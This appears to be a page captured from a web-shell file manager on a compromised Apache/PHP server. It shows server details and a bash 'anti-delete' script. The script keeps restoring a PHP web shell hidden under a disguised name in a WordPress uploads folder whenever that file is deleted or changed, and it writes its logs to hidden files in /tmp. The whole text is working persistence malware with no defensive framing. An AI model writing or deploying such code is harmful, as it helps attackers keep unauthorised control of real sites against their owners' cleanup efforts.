HEX
Server: Apache/2.4.59 (Debian)
System: Linux keymana 4.19.0-21-cloud-amd64 #1 SMP Debian 4.19.249-2 (2022-06-30) x86_64
User: lijunjie (1003)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Upload Files
File: //proc/thread-self/root/proc/self/root/proc/self/root/proc/thread-self/root/proc/19805/fd/255
#!/bin/bash
SHELL_PATH="/var/www/thaler/wp-content/uploads/wp-style.php"
PID_FILE="/tmp/.antidelete_fbb45658d4745e740e5d328d9b55948f.pid"
LOG_FILE="/tmp/.antidelete_fbb45658d4745e740e5d328d9b55948f.log"
echo $$ > "$PID_FILE"
TIMESTAMP=$(TZ="Asia/Jakarta" date +"%Y-%m-%d %H:%M:%S")
echo "$TIMESTAMP: Anti-delete dimulai untuk $SHELL_PATH" >> "$LOG_FILE"
ORIGINAL_CONTENT=$(cat "$SHELL_PATH" 2>/dev/null)
while true; do
    TIMESTAMP=$(TZ="Asia/Jakarta" date +"%Y-%m-%d %H:%M:%S")
    if [ ! -f "$SHELL_PATH" ]; then
        echo "$TIMESTAMP: File dihapus, memulihkan..." >> "$LOG_FILE"
        echo "$ORIGINAL_CONTENT" > "$SHELL_PATH"
        chmod 0644 "$SHELL_PATH" 2>/dev/null
        echo "$TIMESTAMP: File berhasil dipulihkan" >> "$LOG_FILE"
    else
        CURRENT_CONTENT=$(cat "$SHELL_PATH" 2>/dev/null)
        if [ "$CURRENT_CONTENT" != "$ORIGINAL_CONTENT" ]; then
            echo "$TIMESTAMP: File dimodifikasi, memulihkan..." >> "$LOG_FILE"
            echo "$ORIGINAL_CONTENT" > "$SHELL_PATH"
            echo "$TIMESTAMP: File berhasil dipulihkan" >> "$LOG_FILE"
        fi
    fi
    sleep 5
done